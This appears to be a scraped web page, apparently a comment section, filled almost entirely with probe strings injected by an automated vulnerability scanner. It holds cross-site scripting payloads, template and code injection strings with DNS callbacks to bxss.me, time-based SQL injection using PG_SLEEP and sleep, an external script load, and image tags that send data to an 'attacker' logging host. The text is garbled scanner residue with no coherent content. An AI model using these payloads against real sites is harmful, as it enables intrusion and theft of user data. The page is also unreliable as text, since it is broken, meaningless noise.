%35%35%35%3C%53%63%52%69%50%74%20%3E%68%41%54%61%289096%29%3C%2F%73%43%72%69%70%54%3E

555<akRcVs3<

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555\u003CScRiPt\hATa(9398)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=Fs4F(98261) //\xf6>

555&lt

555

\xf6<img zzz onmouseover=hATa(96671) //\xf6>

555<input autofocus onfocus=Fs4F(9942)>

)

555&n930174=v981493

555<input autofocus onfocus=hATa(9856)>

555

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

dfb{{98991*97996}}xca

555

!(()&&!|*|*|

^(#$!@#$)(()))******

555

<a HrEF=jaVaScRiPT:>

'.gethostbyname(lc('hitic'.'rvchcmmh3e64e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(80).chr(113).chr(67).'

'

'"()

".gethostbyname(lc("hitwk"."yroqspiq03d1d.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(78).chr(117).chr(72)."

555

555'&&sleep(27*1000)*pfvpcq&&'

"

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(hATa(9805))}

dfb[[${98991*97996}]]xca

555

555

555L3pvJ <ScRiPt >hATa(9726)</ScRiPt>

555<WIIBBH>0NUSF[!+!]</WIIBBH>

555

${@print(md5(31337))}

555"&&sleep(27*1000)*rfkblz&&"

dfb__${98991*97996}__::.x

555}body{zzz:Expre/**/SSion(Fs4F(9482))}

${@print(md5(31337))}\

'.print(md5(31337)).'

555'||sleep(27*1000)*oegzuh||'

555<ifRAme sRc=9101.com></IfRamE>

555

555aEUGr <ScRiPt >Fs4F(9788)</ScRiPt>

555"||sleep(27*1000)*rirxqi||"

555<alvhsLx x=9347>

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<img sRc='http://attacker-9527/log.php?

555

555<ScRiPt >rn9E(9795)</ScRiPt>

555<amyK7me<

555<WZLB1E>CLCAP[!+!]</WZLB1E>

555

555

555

555

555

555

555

555<W6FQ5A>BDAKN[!+!]</W6FQ5A>

555

555<ifRAme sRc=9220.com></IfRamE>

555

555<script>rn9E(9651)</script>

555

555

555<aUazkFR x=9145>

555<script>rn9E(9960)</script>9960

555

555<img sRc='http://attacker-9076/log.php?

555

555

555<ScR<ScRiPt>IpT>rn9E(9271)</sCr<ScRiPt>IpT>

555<al62Ckb<

555<ScRiPt >rn9E(9604)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9367></ScRiPt>

555<ScRiPt >rn9E(9420)</ScRiPt>

5wuJkT7q'

7uPH62CK' OR 945=(SELECT 945 FROM PG_SLEEP(15))--

555<svg  \xa0onload=rn9E(9380)

555<isindex type=image src=1 onerror=rn9E(9798)>

555<iframe src='data:text/html

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(102).concat(65).concat(107).concat(83)+(require"socket" Socket.gethostbyname("hitvc"+"icmhshsj07731.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(106).concat(67).concat(114).concat(82)+(require'socket' Socket.gethostbyname('hitpg'+'fgkxewzde89eb.bxss.me.')[3].to_s)+'

555

555

555<body onload=rn9E(9081)>

comments

comments

555

555

xfs.bxss.me

'"

555

555<img src=//xss.bxss.me/t/dot.gif onload=rn9E(9170)>

comments/.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

<!--

555

555

Footer Powered By